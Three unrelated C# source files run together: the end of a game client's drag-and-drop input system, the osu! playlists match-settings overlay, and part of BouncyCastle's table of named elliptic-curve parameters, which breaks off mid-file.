PointerInputCmdHandler.PointerInputCmdArgs args) { if (_dragDropHelper.IsDragging == false || _dragDropHelper.Dragged == default) { // haven't started the drag yet, quick mouseup, definitely treat it as a normal click by // replaying the original cmd if (_savedMouseDown.HasValue && _mouseDownTime < MaxMouseDownTimeForReplayingClick) { var savedValue = _savedMouseDown.Value; _isReplaying = true; // adjust the timing info based on the current tick so it appears as if it happened now var replayMsg = savedValue.OriginalMessage; var adjustedInputMsg = new FullInputCmdMessage(args.OriginalMessage.Tick, args.OriginalMessage.SubTick, replayMsg.InputFunctionId, replayMsg.State, replayMsg.Coordinates, replayMsg.ScreenCoordinates, replayMsg.Uid); if (savedValue.Session != null) { _inputSystem.HandleInputCommand(savedValue.Session, EngineKeyFunctions.Use, adjustedInputMsg, true); } _isReplaying = false; } _dragDropHelper.EndDrag(); return false; } if (_dragger == default) { _dragDropHelper.EndDrag(); return false; } IList<EntityUid> entities; if (_stateManager.CurrentState is GameScreen screen) { entities = screen.GetEntitiesUnderPosition(args.Coordinates); } else { entities = Array.Empty<EntityUid>(); } var outOfRange = false; foreach (var entity in entities) { if (entity == _dragDropHelper.Dragged) continue; // check if it's able to be dropped on by current dragged entity var dropArgs = new DragDropEvent(_dragger, args.Coordinates, _dragDropHelper.Dragged, entity); // TODO: Cache valid CanDragDrops if (ValidDragDrop(dropArgs) != true) continue; if (!_interactionSystem.InRangeUnobstructed(dropArgs.User, dropArgs.Target) || !_interactionSystem.InRangeUnobstructed(dropArgs.User, dropArgs.Dragged)) { outOfRange = true; continue; } foreach (var draggable in _draggables) { if (!draggable.CanDrop(dropArgs)) continue; // tell the server about the drop attempt RaiseNetworkEvent(new DragDropRequestEvent(args.Coordinates, _dragDropHelper.Dragged, entity)); draggable.Drop(dropArgs); _dragDropHelper.EndDrag(); return true; } } if (outOfRange && _playerManager.LocalPlayer?.ControlledEntity is { } player && player.IsValid()) { player.PopupMessage(Loc.GetString("drag-drop-system-out-of-range-text")); } _dragDropHelper.EndDrag(); return false; } // TODO make this just use TargetOutlineSystem private void HighlightTargets() { if (_dragDropHelper.Dragged == default || Deleted(_dragDropHelper.Dragged) || _dragShadow == default || Deleted(_dragShadow)) { Logger.Warning("Programming error. Can't highlight drag and drop targets, not currently " + "dragging anything or dragged entity / shadow was deleted."); return; } // highlights the possible targets which are visible // and able to be dropped on by the current dragged entity // remove current highlights RemoveHighlights(); // find possible targets on screen even if not reachable // TODO: Duplicated in SpriteSystem and TargetOutlineSystem. Should probably be cached somewhere for a frame? var mousePos = _eyeManager.ScreenToMap(_inputManager.MouseScreenPosition).Position; var bounds = new Box2(mousePos - 1.5f, mousePos + 1.5f); var pvsEntities = EntitySystem.Get<EntityLookupSystem>().GetEntitiesIntersecting(_eyeManager.CurrentMap, bounds, LookupFlags.Approximate | LookupFlags.IncludeAnchored); foreach (var pvsEntity in pvsEntities) { if (!EntityManager.TryGetComponent(pvsEntity, out ISpriteComponent? inRangeSprite) || !inRangeSprite.Visible || pvsEntity == _dragDropHelper.Dragged) continue; // check if it's able to be dropped on by current dragged entity var dropArgs = new DragDropEvent(_dragger, EntityManager.GetComponent<TransformComponent>(pvsEntity).Coordinates, _dragDropHelper.Dragged, pvsEntity); var valid = ValidDragDrop(dropArgs); if (valid == null) continue; // We'll do a final check given server-side does this before any dragdrop can take place. if (valid.Value) { valid = _interactionSystem.InRangeUnobstructed(dropArgs.Target, dropArgs.Dragged) && _interactionSystem.InRangeUnobstructed(dropArgs.Target, dropArgs.Target); } // highlight depending on whether its in or out of range inRangeSprite.PostShader = valid.Value ? _dropTargetInRangeShader : _dropTargetOutOfRangeShader; inRangeSprite.RenderOrder = EntityManager.CurrentTick.Value; _highlightedSprites.Add(inRangeSprite); } } private void RemoveHighlights() { foreach (var highlightedSprite in _highlightedSprites) { highlightedSprite.PostShader = null; highlightedSprite.RenderOrder = 0; } _highlightedSprites.Clear(); } /// <summary> /// Are these args valid for drag-drop? /// </summary> /// <param name="eventArgs"></param> /// <returns>null if the target doesn't support IDragDropOn</returns> private bool? ValidDragDrop(DragDropEvent eventArgs) { if (!_actionBlockerSystem.CanInteract(eventArgs.User, eventArgs.Target)) { return false; } // CanInteract() doesn't support checking a second "target" entity. // Doing so manually: var ev = new GettingInteractedWithAttemptEvent(eventArgs.User, eventArgs.Dragged); RaiseLocalEvent(eventArgs.Dragged, ev); if (ev.Cancelled) return false; var valid = CheckDragDropOn(eventArgs); foreach (var comp in EntityManager.GetComponents<IDragDropOn>(eventArgs.Target)) { if (!comp.CanDragDropOn(eventArgs)) { valid = false; // dragDropOn.Add(comp); continue; } valid = true; break; } if (valid != true) return valid; // Need at least one IDraggable to return true or else we can't do shit valid = false; foreach (var comp in EntityManager.GetComponents<IDraggable>(eventArgs.User)) { if (!comp.CanDrop(eventArgs)) continue; valid = true; break; } return valid; } public override void Update(float frameTime) { base.Update(frameTime); _dragDropHelper.Update(frameTime); } public override void FrameUpdate(float frameTime) { base.FrameUpdate(frameTime); // Update position every frame to make it smooth. if (_dragDropHelper.IsDragging) { var mousePos = _eyeManager.ScreenToMap(_inputManager.MouseScreenPosition); Transform(_dragShadow).WorldPosition = mousePos.Position; } } } }
// Copyright (c) ppy Pty Ltd <contact@ppy.sh>. Licensed under the MIT Licence. // See the LICENCE file in the repository root for full licence text. using System; using System.Collections.Specialized; using Humanizer; using osu.Framework.Allocation; using osu.Framework.Bindables; using osu.Framework.Extensions.Color4Extensions; using osu.Framework.Graphics; using osu.Framework.Graphics.Containers; using osu.Framework.Graphics.Shapes; using osu.Framework.Localisation; using osu.Game.Graphics; using osu.Game.Graphics.Containers; using osu.Game.Graphics.Sprites; using osu.Game.Graphics.UserInterface; using osu.Game.Online.Rooms; using osu.Game.Overlays; using osu.Game.Screens.OnlinePlay.Match.Components; using osuTK; namespace osu.Game.Screens.OnlinePlay.Playlists { public class PlaylistsMatchSettingsOverlay : MatchSettingsOverlay { public Action EditPlaylist; [BackgroundDependencyLoader] private void load() { Child = Settings = new MatchSettings { RelativeSizeAxes = Axes.Both, RelativePositionAxes = Axes.Y, EditPlaylist = () => EditPlaylist?.Invoke() }; } protected class MatchSettings : OnlinePlayComposite { private const float disabled_alpha = 0.2f; public Action EditPlaylist; public OsuTextBox NameField, MaxParticipantsField, MaxAttemptsField; public OsuDropdown<TimeSpan> DurationField; public RoomAvailabilityPicker AvailabilityPicker; public TriangleButton ApplyButton; public OsuSpriteText ErrorText; private LoadingLayer loadingLayer; private DrawableRoomPlaylist playlist; private OsuSpriteText playlistLength; [Resolved(CanBeNull = true)] private IRoomManager manager { get; set; } [Resolved] private Bindable<Room> currentRoom { get; set; } [BackgroundDependencyLoader] private void load(OsuColour colours) { InternalChildren = new Drawable[] { new Box { RelativeSizeAxes = Axes.Both, Colour = Color4Extensions.FromHex(@"28242d"), }, new GridContainer { RelativeSizeAxes = Axes.Both, RowDimensions = new[] { new Dimension(GridSizeMode.Distributed), new Dimension(GridSizeMode.AutoSize), }, Content = new[] { new Drawable[] { new OsuScrollContainer { Padding = new MarginPadding { Horizontal = OsuScreen.HORIZONTAL_OVERFLOW_PADDING, Vertical = 10 }, RelativeSizeAxes = Axes.Both, Children = new[] { new Container { Padding = new MarginPadding { Horizontal = WaveOverlayContainer.WIDTH_PADDING }, RelativeSizeAxes = Axes.X, AutoSizeAxes = Axes.Y, Children = new Drawable[] { new SectionContainer { Padding = new MarginPadding { Right = FIELD_PADDING / 2 }, Children = new[] { new Section("Room name") { Child = NameField = new SettingsTextBox { RelativeSizeAxes = Axes.X, TabbableContentContainer = this, LengthLimit = 100 }, }, new Section("Duration") { Child = DurationField = new DurationDropdown { RelativeSizeAxes = Axes.X, Items = new[] { TimeSpan.FromMinutes(30), TimeSpan.FromHours(1), TimeSpan.FromHours(2), TimeSpan.FromHours(4), TimeSpan.FromHours(8), TimeSpan.FromHours(12), //TimeSpan.FromHours(16), TimeSpan.FromHours(24), TimeSpan.FromDays(3), TimeSpan.FromDays(7) } } }, new Section("Allowed attempts (across all playlist items)") { Child = MaxAttemptsField = new SettingsNumberTextBox { RelativeSizeAxes = Axes.X, TabbableContentContainer = this, PlaceholderText = "Unlimited", }, }, new Section("Room visibility") { Alpha = disabled_alpha, Child = AvailabilityPicker = new RoomAvailabilityPicker { Enabled = { Value = false } }, }, new Section("Max participants") { Alpha = disabled_alpha, Child = MaxParticipantsField = new SettingsNumberTextBox { RelativeSizeAxes = Axes.X, TabbableContentContainer = this, ReadOnly = true, }, }, new Section("Password (optional)") { Alpha = disabled_alpha, Child = new SettingsPasswordTextBox { RelativeSizeAxes = Axes.X, TabbableContentContainer = this, ReadOnly = true, }, }, }, }, new SectionContainer { Anchor = Anchor.TopRight, Origin = Anchor.TopRight, Padding = new MarginPadding { Left = FIELD_PADDING / 2 }, Children = new[] { new Section("Playlist") { Child = new GridContainer { RelativeSizeAxes = Axes.X, Height = 500, Content = new[] { new Drawable[] { playlist = new DrawableRoomPlaylist(true, true) { RelativeSizeAxes = Axes.Both } }, new Drawable[] { playlistLength = new OsuSpriteText { Margin = new MarginPadding { Vertical = 5 }, Colour = colours.Yellow, Font = OsuFont.GetFont(size: 12), } }, new Drawable[] { new PurpleTriangleButton { RelativeSizeAxes = Axes.X, Height = 40, Text = "Edit playlist", Action = () => EditPlaylist?.Invoke() } } }, RowDimensions = new[] { new Dimension(), new Dimension(GridSizeMode.AutoSize), new Dimension(GridSizeMode.AutoSize), } } }, }, }, }, } }, }, }, new Drawable[] { new Container { Anchor = Anchor.BottomLeft, Origin = Anchor.BottomLeft, Y = 2, RelativeSizeAxes = Axes.X, AutoSizeAxes = Axes.Y, Children = new Drawable[] { new Box { RelativeSizeAxes = Axes.Both, Colour = Color4Extensions.FromHex(@"28242d").Darken(0.5f).Opacity(1f), }, new FillFlowContainer { RelativeSizeAxes = Axes.X, AutoSizeAxes = Axes.Y, Direction = FillDirection.Vertical, Spacing = new Vector2(0, 20), Margin = new MarginPadding { Vertical = 20 }, Padding = new MarginPadding { Horizontal = OsuScreen.HORIZONTAL_OVERFLOW_PADDING }, Children = new Drawable[] { ApplyButton = new CreateRoomButton { Anchor = Anchor.BottomCentre, Origin = Anchor.BottomCentre, Size = new Vector2(230, 55), Enabled = { Value = false }, Action = apply, }, ErrorText = new OsuSpriteText { Anchor = Anchor.BottomCentre, Origin = Anchor.BottomCentre, Alpha = 0, Depth = 1, Colour = colours.RedDark } } } } } } } }, loadingLayer = new LoadingLayer(true) }; RoomName.BindValueChanged(name => NameField.Text = name.NewValue, true); Availability.BindValueChanged(availability => AvailabilityPicker.Current.Value = availability.NewValue, true); MaxParticipants.BindValueChanged(count => MaxParticipantsField.Text = count.NewValue?.ToString(), true); MaxAttempts.BindValueChanged(count => MaxAttemptsField.Text = count.NewValue?.ToString(), true); Duration.BindValueChanged(duration => DurationField.Current.Value = duration.NewValue ?? TimeSpan.FromMinutes(30), true); playlist.Items.BindTo(Playlist); Playlist.BindCollectionChanged(onPlaylistChanged, true); } protected override void Update() { base.Update(); ApplyButton.Enabled.Value = hasValidSettings; } private void onPlaylistChanged(object sender, NotifyCollectionChangedEventArgs e) => playlistLength.Text = $"Length: {Playlist.GetTotalDuration()}"; private bool hasValidSettings => RoomID.Value == null && NameField.Text.Length > 0 && Playlist.Count > 0; private void apply() { if (!ApplyButton.Enabled.Value) return; hideError(); RoomName.Value = NameField.Text; Availability.Value = AvailabilityPicker.Current.Value; if (int.TryParse(MaxParticipantsField.Text, out int max)) MaxParticipants.Value = max; else MaxParticipants.Value = null; if (int.TryParse(MaxAttemptsField.Text, out max)) MaxAttempts.Value = max; else MaxAttempts.Value = null; Duration.Value = DurationField.Current.Value; manager?.CreateRoom(currentRoom.Value, onSuccess, onError); loadingLayer.Show(); } private void hideError() => ErrorText.FadeOut(50); private void onSuccess(Room room) => loadingLayer.Hide(); private void onError(string text) { ErrorText.Text = text; ErrorText.FadeIn(50); loadingLayer.Hide(); } } public class CreateRoomButton : TriangleButton { public CreateRoomButton() { Text = "Create"; } [BackgroundDependencyLoader] private void load(OsuColour colours) { BackgroundColour = colours.Yellow; Triangles.ColourLight = colours.YellowLight; Triangles.ColourDark = colours.YellowDark; } } private class DurationDropdown : OsuDropdown<TimeSpan> { public DurationDropdown() { Menu.MaxHeight = 100; } protected override LocalisableString GenerateItemText(TimeSpan item) => item.Humanize(); } } }
using System; using System.Collections; using Org.BouncyCastle.Asn1; using Org.BouncyCastle.Asn1.Sec; using Org.BouncyCastle.Asn1.X9; using Org.BouncyCastle.Math; using Org.BouncyCastle.Math.EC; using Org.BouncyCastle.Math.EC.Custom.Djb; using Org.BouncyCastle.Math.EC.Custom.Sec; using Org.BouncyCastle.Math.EC.Endo; using Org.BouncyCastle.Utilities; using Org.BouncyCastle.Utilities.Collections; using Org.BouncyCastle.Utilities.Encoders; namespace Org.BouncyCastle.Crypto.EC { public sealed class CustomNamedCurves { private CustomNamedCurves() { } private static BigInteger FromHex(string hex) { return new BigInteger(1, Hex.Decode(hex)); } private static ECCurve ConfigureCurve(ECCurve curve) { return curve; } private static ECCurve ConfigureCurveGlv(ECCurve c, GlvTypeBParameters p) { return c.Configure().SetEndomorphism(new GlvTypeBEndomorphism(c, p)).Create(); } /* * curve25519 */ internal class Curve25519Holder : X9ECParametersHolder { private Curve25519Holder() { } internal static readonly X9ECParametersHolder Instance = new Curve25519Holder(); protected override X9ECParameters CreateParameters() { byte[] S = null; ECCurve curve = ConfigureCurve(new Curve25519()); /* * NOTE: Curve25519 was specified in Montgomery form. Rewriting in Weierstrass form * involves substitution of variables, so the base-point x coordinate is 9 + (486662 / 3). * * The Curve25519 paper doesn't say which of the two possible y values the base * point has. The choice here is guided by language in the Ed25519 paper. * * (The other possible y value is 5F51E65E475F794B1FE122D388B72EB36DC2B28192839E4DD6163A5D81312C14) */ ECPoint G = curve.DecodePoint(Hex.Decode("04" + "2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD245A" + "20AE19A1B8A086B4E01EDD2C7748D14C923D4D7E6D7C61B229E9C5A27ECED3D9")); return new X9ECParameters(curve, G, curve.Order, curve.Cofactor, S); } } /* * secp128r1 */ internal class SecP128R1Holder : X9ECParametersHolder { private SecP128R1Holder() { } internal static readonly X9ECParametersHolder Instance = new SecP128R1Holder(); protected override X9ECParameters CreateParameters() { byte[] S = Hex.Decode("000E0D4D696E6768756151750CC03A4473D03679"); ECCurve curve = ConfigureCurve(new SecP128R1Curve()); ECPoint G = curve.DecodePoint(Hex.Decode("04" + "161FF7528B899B2D0C28607CA52C5B86" + "CF5AC8395BAFEB13C02DA292DDED7A83")); return new X9ECParameters(curve, G, curve.Order, curve.Cofactor, S); } }; /* * secp160k1 */ internal class SecP160K1Holder : X9ECParametersHolder { private SecP160K1Holder() { } internal static readonly X9ECParametersHolder Instance = new SecP160K1Holder(); protected override X9ECParameters CreateParameters() { byte[] S = null; GlvTypeBParameters glv = new GlvTypeBParameters( new BigInteger("9ba48cba5ebcb9b6bd33b92830b2a2e0e192f10a", 16), new BigInteger("c39c6c3b3a36d7701b9c71a1f5804ae5d0003f4", 16), new BigInteger[]{ new BigInteger("9162fbe73984472a0a9e", 16), new BigInteger("-96341f1138933bc2f505", 16) }, new BigInteger[]{ new BigInteger("127971af8721782ecffa3", 16), new BigInteger("9162fbe73984472a0a9e", 16) }, new BigInteger("9162fbe73984472a0a9d0590", 16), new BigInteger("96341f1138933bc2f503fd44", 16), 176); ECCurve curve = ConfigureCurveGlv(new SecP160K1Curve(), glv); ECPoint G = curve.DecodePoint(Hex.Decode("04" + "3B4C382CE37AA192A4019E763036F4F5DD4D7EBB" + "938CF935318FDCED6BC28286531733C3F03C4FEE")); return new X9ECParameters(curve, G, curve.Order, curve.Cofactor, S); } }; /* * secp160r1 */ internal class SecP160R1Holder : X9ECParametersHolder { private SecP160R1Holder() { } internal static readonly X9ECParametersHolder Instance = new SecP160R1Holder(); protected override X9ECParameters CreateParameters() { byte[] S = Hex.Decode("1053CDE42C14D696E67687561517533BF3F83345"); ECCurve curve = ConfigureCurve(new SecP160R1Curve()); ECPoint G = curve.DecodePoint(Hex.Decode("04" + "4A96B5688EF573284664698968C38BB913CBFC82" + "23A628553168947D59DCC912042351377AC5FB32")); return new X9ECParameters(curve, G, curve.Order, curve.Cofactor, S); } }; /* * secp160r2 */ internal class SecP160R2Holder : X9ECParametersHolder { private SecP160R2Holder() { } internal static readonly X9ECParametersHolder Instance = new SecP160R2Holder(); protected override X9ECParameters CreateParameters() { byte[] S = Hex.Decode("B99B99B099B323E02709A4D696E6768756151751"); ECCurve curve = ConfigureCurve(new SecP160R2Curve()); ECPoint G = curve.DecodePoint(Hex.Decode("04" + "52DCB034293A117E1F4FF11B30F7199D3144CE6D" + "FEAFFEF2E331F296E071FA0DF9982CFEA7D43F2E")); return new X9ECParameters(curve, G, curve.Order, curve.Cofactor, S); } }; /* * secp192k1 */ internal class SecP192K1Holder : X9ECParametersHolder { private SecP192K1Holder() { } internal static readonly X9ECParametersHolder Instance = new SecP192K1Holder(); protected override X9ECParameters CreateParameters() { byte[] S = null; GlvTypeBParameters glv = new GlvTypeBParameters( new BigInteger("bb85691939b869c1d087f601554b96b80cb4f55b35f433c2", 16), new BigInteger("3d84f26c12238d7b4f3d516613c1759033b1a5800175d0b1", 16), new BigInteger[]{ new BigInteger("71169be7330b3038edb025f1", 16), new BigInteger("-b3fb3400dec5c4adceb8655c", 16) }, new BigInteger[]{ new BigInteger("12511cfe811d0f4e6bc688b4d", 16), new BigInteger("71169be7330b3038edb025f1", 16) }, new BigInteger("71169be7330b3038edb025f1d0f9", 16), new BigInteger("b3fb3400dec5c4adceb8655d4c94", 16), 208); ECCurve curve = ConfigureCurveGlv(new SecP192K1Curve(), glv); ECPoint G = curve.DecodePoint(Hex.Decode("04" + "DB4FF10EC057E9AE26B07D0280B7F4341DA5D1B1EAE06C7D" + "9B2F2F6D9C5628A7844163D015BE86344082AA88D95E2F9D")); return new X9ECParameters(curve, G, curve.Order, curve.Cofactor, S); } } /* * secp192r1 */ internal class SecP192R1Holder : X9ECParametersHolder { private SecP192R1Holder() { } internal static readonly X9ECParametersHolder Instance = new SecP192R1Holder(); protected override X9ECParameters CreateParameters() { byte[] S = Hex.Decode("3045AE6FC8422F64ED579528D38120EAE12196D5"); ECCurve curve = ConfigureCurve(new SecP192R1Curve()); ECPoint G = curve.DecodePoint(Hex.Decode("04" + "188DA80EB03090F67CBF20EB43A18800F4FF0AFD82FF1012" + "07192B95FFC8DA78631011ED6B24CDD573F977A11E794811")); return new X9ECParameters(curve, G, curve.Order, curve.Cofactor, S); } } /* * secp224k1 */ internal class SecP224K1Holder : X9ECParametersHolder { private SecP224K1Holder() { } internal static readonly X9ECParametersHolder Instance = new SecP224K1Holder(); protected override X9ECParameters CreateParameters() { byte[] S = null; GlvTypeBParameters glv = new GlvTypeBParameters( new BigInteger("fe0e87005b4e83761908c5131d552a850b3f58b749c37cf5b84d6768", 16), new BigInteger("60dcd2104c4cbc0be6eeefc2bdd610739ec34e317f9b33046c9e4788", 16), new BigInteger[]{ new BigInteger("6b8cf07d4ca75c88957d9d670591", 16), new BigInteger("-b8adf1378a6eb73409fa6c9c637d", 16) }, new BigInteger[]{ new BigInteger("1243ae1b4d71613bc9f780a03690e", 16), new BigInteger("6b8cf07d4ca75c88957d9d670591", 16) }, new BigInteger("6b8cf07d4ca75c88957d9d67059037a4", 16), new BigInteger("b8adf1378a6eb73409fa6c9c637ba7f5", 16), 240); ECCurve curve = ConfigureCurveGlv(new SecP224K1Curve(), glv); ECPoint G = curve.DecodePoint(Hex.Decode("04" + "A1455B334DF099DF30FC28A169A467E9E47075A90F7E650EB6B7A45C" + "7E089FED7FBA344282CAFBD6F7E319F7C0B0BD59E2CA4BDB556D61A5")); return new X9ECParameters(curve, G, curve.Order, curve.Cofactor, S); } } /* * secp224r1 */ internal class SecP224R1Holder : X9ECParametersHolder { private SecP224R1Holder() { } internal static readonly X9ECParametersHolder Instance = new SecP224R1Holder(); protected override X9ECParameters CreateParameters() { byte[] S = Hex.Decode("BD71344799D5C7FCDC45B59FA3B9AB8F6A948BC5"); ECCurve curve = ConfigureCurve(new SecP224R1Curve()); ECPoint G = curve.DecodePoint(Hex.Decode("04" + "B70E0CBD6BB4BF7F321390B94A03C1D356C21122343280D6115C1D21" + "BD376388B5F723FB4C22DFE6CD4375A05A07476444D5819985007E34")); return new X9ECParameters(curve, G, curve.Order, curve.Cofactor, S); } } /* * secp256k1 */ internal class SecP256K1Holder : X9ECParametersHolder { private SecP256K1Holder() {} internal static readonly X9ECParametersHolder Instance = new SecP256K1Holder(); protected override X9ECParameters CreateParameters() { byte[] S = null; GlvTypeBParameters glv = new GlvTypeBParameters( new BigInteger("7ae96a2b657c07106e64479eac3434e99cf0497512f58995c1396c28719501ee", 16), new BigInteger("5363ad4cc05c30e0a5261c028812645a122e22ea20816678df02967c1b23bd72", 16), new BigInteger[]{ new BigInteger("3086d221a7d46bcde86c90e49284eb15", 16), new BigInteger("-e4437ed6010e88286f547fa90abfe4c3", 16) }, new BigInteger[]{ new BigInteger("114ca50f7a8e2f3f657c1108d9d44cfd8", 16), new BigInteger("3086d221a7d46bcde86c90e49284eb15", 16) }, new BigInteger("3086d221a7d46bcde86c90e49284eb153dab", 16), new BigInteger("e4437ed6010e88286f547fa90abfe4c42212", 16), 272); ECCurve curve = ConfigureCurveGlv(new SecP256K1Curve(), glv); ECPoint G = curve.DecodePoint(Hex.Decode("04" + "79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798" + "483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8")); return new X9ECParameters(curve, G, curve.Order, curve.Cofactor, S); } } /* * secp256r1 */ internal class SecP256R1Holder : X9ECParametersHolder { private SecP256R1Holder() {} internal static readonly X9ECParametersHolder Instance = new SecP256R1Holder(); protected override X9ECParameters CreateParameters() { byte[] S = Hex.Decode("C49D360886E704936A6678E1139D26B7819F7E90"); ECCurve curve = ConfigureCurve(new SecP256R1Curve()); ECPoint G = curve.DecodePoint(Hex.Decode("04" + "6B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C296" + "4FE342E2FE1A7F9B8EE7EB4A7C0F9E162BCE33576B315ECECBB6406837BF51F5")); return new X9ECParameters(curve, G, curve.Order, curve.Cofactor, S); } } /* * secp384r1 */ internal class SecP384R1Holder : X9ECParametersHolder { private SecP384R1Holder() { } internal static readonly X9ECParametersHolder Instance = new SecP384R1Holder(); protected override X9ECParameters CreateParameters() { byte[] S = Hex.Decode("A335926AA319A27A1D00896A6773A4827ACDAC73"); ECCurve curve = ConfigureCurve(new SecP384R1Curve()); ECPoint G = curve.DecodePoint(Hex.Decode("04" + "AA87CA22BE8B05378EB1C71EF320AD746E1D3B628BA79B9859F741E082542A385502F25DBF55296C3A545E3872760AB7" + "3617DE4A96262C6F5D9E98BF9292DC29F8F41DBD289A147CE9DA3113B5F0B8C00A60B1CE1D7E819D7A431D7C90EA0E5F")); return new X9ECParameters(curve, G, curve.Order, curve.Cofactor, S); } } /* * secp521r1 */ internal class SecP521R1Holder : X9ECParametersHolder { private SecP521R1Holder() { } internal static readonly X9ECParametersHolder Instance = new SecP521R1Holder(); protected override X9ECParameters CreateParameters() { byte[] S = Hex.Decode("D09E8800291CB85396CC6717393284AAA0DA64BA"); ECCurve curve = ConfigureCurve(new SecP521R1Curve()); ECPoint G = curve.DecodePoint(Hex.Decode("04" + "00C6858E06B70404E9CD9E3ECB662395B4429C648139053FB521F828AF606B4D3DBAA14B5E77EFE75928FE1DC127A2FFA8DE3348B3C1856A429BF97E7E31C2E5BD66" + "011839296A789A3BC0045C8A5FB42C7D1BD998F54449579B446817AFBD17273E662C97EE72995EF42640C550B9013FAD0761353C7086A272C24088BE94769FD16650")); return new X9ECParameters(curve, G, curve.Order, curve.Cofactor, S); } } /* * sect113r1 */ internal class SecT113R1Holder : X9ECParametersHolder { private SecT113R1Holder() { } internal static readonly X9ECParametersHolder Instance = new SecT113R1Holder(); protected override X9ECParameters CreateParameters() { byte[] S = Hex.Decode("10E723AB14D696E6768756151756FEBF8FCB49A9"); ECCurve curve = ConfigureCurve(new SecT113R1Curve()); ECPoint G = curve.DecodePoint(Hex.Decode("04" + "009D73616F35F4AB1407D73562C10F" + "00A52830277958EE84D1315ED31886")); return new X9ECParameters(curve, G, curve.Order, curve.Cofactor, S); } }; /* * sect113r2 */ internal class SecT113R2Holder : X9ECParametersHolder { private SecT113R2Holder() { } internal static readonly X9ECParametersHolder Instance = new SecT113R2Holder(); protected override X9ECParameters CreateParameters() { byte[] S = Hex.Decode("10C0FB15760860DEF1EEF4D696E676875615175D"); ECCurve curve = ConfigureCurve(new SecT113R2Curve()); ECPoint G = curve.DecodePoint(Hex.Decode("04" + "01A57A6A7B26CA5EF52FCDB8164797" + "00B3ADC94ED1FE674C06E695BABA1D")); return new X9ECParameters(curve, G, curve.Order, curve.Cofactor, S); } }; /* * sect131r1 */ internal class SecT131R1Holder : X9ECParametersHolder { private SecT131R1Holder() { } internal static readonly X9ECParametersHolder Instance = new SecT131R1Holder(); protected override X9ECParameters CreateParameters() { byte[] S = Hex.Decode("4D696E676875615175985BD3ADBADA21B43A97E2"); ECCurve curve = ConfigureCurve(new SecT131R1Curve()); ECPoint G = curve.DecodePoint(Hex.Decode("04" + "0081BAF91FDF9833C40F9C181343638399" + "078C6E7EA38C001F73C8134B1B4EF9E150")); return new X9ECParameters(curve, G, curve.Order, curve.Cofactor, S); } }; /* * sect131r2 */ internal class SecT131R2Holder : X9ECParametersHolder { private SecT131R2Holder() { } internal static readonly X9ECParametersHolder Instance = new SecT131R2Holder(); protected override X9ECParameters CreateParameters() { byte[] S = Hex.Decode("985BD3ADBAD4D696E676875615175A21B43A97E3"); ECCurve curve = ConfigureCurve(new SecT131R2Curve()); ECPoint G = curve.DecodePoint(Hex.Decode("04" + "0356DCD8F2F95031AD652D23951BB366A8" + "0648F06D867940A5366D9E265DE9EB240F")); return new X9ECParameters(curve, G, curve.Order, curve.Cofactor, S); } }; /* * sect163k1 */ internal class SecT163K1Holder : X9ECParametersHolder { private SecT163K1Holder() { } internal static readonly X9ECParametersHolder Instance = new SecT163K1Holder(); protected override X9ECParameters CreateParameters() { byte[] S = null; ECCurve curve = ConfigureCurve(new SecT163K1Curve()); ECPoint G = curve.DecodePoint(Hex.Decode("04" + "02FE13C0537BBC11ACAA07D793DE4E6D5E5C94EEE8" + "0289070FB05D38FF58321F2E800536D538CCDAA3D9")); return new X9ECParameters(curve, G, curve.Order, curve.Cofactor, S); } }; /* * sect163r1 */ internal class SecT163R1Holder : X9ECParametersHolder { private SecT163R1Holder() { } internal static readonly X9ECParametersHolder Instance = new SecT163R1Holder(); protected override X9ECParameters CreateParameters() { byte[] S = Hex.Decode("24B7B137C8A14D696E6768756151756FD0DA2E5C"); ECCurve curve = ConfigureCurve(new SecT163R1Curve()); ECPoint G = curve.DecodePoint(Hex.Decode("04" + "0369979697AB43897789566789567F787A7876A654" + "00435EDB42EFAFB2989D51FEFCE3C80988F41FF883")); return new X9ECParameters(curve, G, curve.Order, curve.Cofactor, S); } }; /* * sect163r2 */ internal class SecT163R2Holder : X9ECParametersHolder { private SecT163R2Holder() { } internal static readonly X9ECParametersHolder Instance = new SecT163R2Holder(); protected override X9ECParameters CreateParameters() { byte[] S = Hex.Decode("85E25BFE5C86226CDB12016F7553F9D0E693A268"); ECCurve curve = ConfigureCurve(new SecT163R2Curve()); ECPoint G = curve.DecodePoint(Hex.Decode("04" + "03F0EBA16286A2D57EA0991168D4994637E8343E36" + "00D51FBC6C71A0094FA2CDD545B11C5C0C797324F1")); return new X9ECParameters(curve, G, curve.Order, curve.Cofactor, S); } }; /* * sect233k1 */ internal class SecT233K1Holder : X9ECParametersHolder { private SecT233K1Holder() { } internal static readonly X9ECParametersHolder Instance = new SecT233K1Holder(); protected override X9ECParameters CreateParameters() { byte[] S = null; ECCurve curve = ConfigureCurve(new SecT233K1Curve()); ECPoint G = curve.DecodePoint(Hex.Decode("04" + "017232BA853A7E731AF129F22FF4149563A419C26BF50A4C9D6EEFAD6126" + "01DB537DECE819B7F70F555A67C427A8CD9BF18AEB9B56E0C11056FAE6A3")); return new X9ECParameters(curve, G, curve.Order, curve.Cofactor, S); } }; /* * sect233r1 */ internal class SecT233R1Holder : X9ECParametersHolder { private SecT233R1Holder() { } internal static readonly X9ECParametersHolder Instance = new SecT233R1Holder(); protected override X9ECParameters CreateParameters() { byte[] S = Hex.Decode("74D59FF07F6B413D0EA14B344B20A2DB049B50C3"); ECCurve curve = ConfigureCurve(new SecT233R1Curve()); ECPoint G = curve.DecodePoint(Hex.Decode("04" + "00FAC9DFCBAC8313BB2139F1BB755FEF65BC391F8B36F8F8EB7371FD558B" + "01006A08A41903350678E58528BEBF8A0BEFF867A7CA36716F7E01F81052")); return new X9ECParameters(curve, G, curve.Order, curve.Cofactor, S); } }; /* * sect239k1 */ internal class SecT239K1Holder : X9ECParametersHolder { private SecT239K1Holder() { } internal static readonly X9ECParametersHolder Instance = new SecT239K1Holder(); protected override X9ECParameters CreateParameters() { byte[] S = null; ECCurve curve = ConfigureCurve(new SecT239K1Curve()); ECPoint G = curve.DecodePoint(Hex.Decode("04" + "29A0B6A887A983E9730988A68727A8B2D126C44CC2CC7B2A6555193035DC" + "76310804F12E549BDB011C103089E73510ACB275FC312A5DC6B76553F0CA")); return new X9ECParameters(curve, G, curve.Order, curve.Cofactor, S); } }; /* * sect283k1 */ internal class SecT283K1Holder : X9ECParametersHolder { private SecT283K1Holder() { } internal static readonly 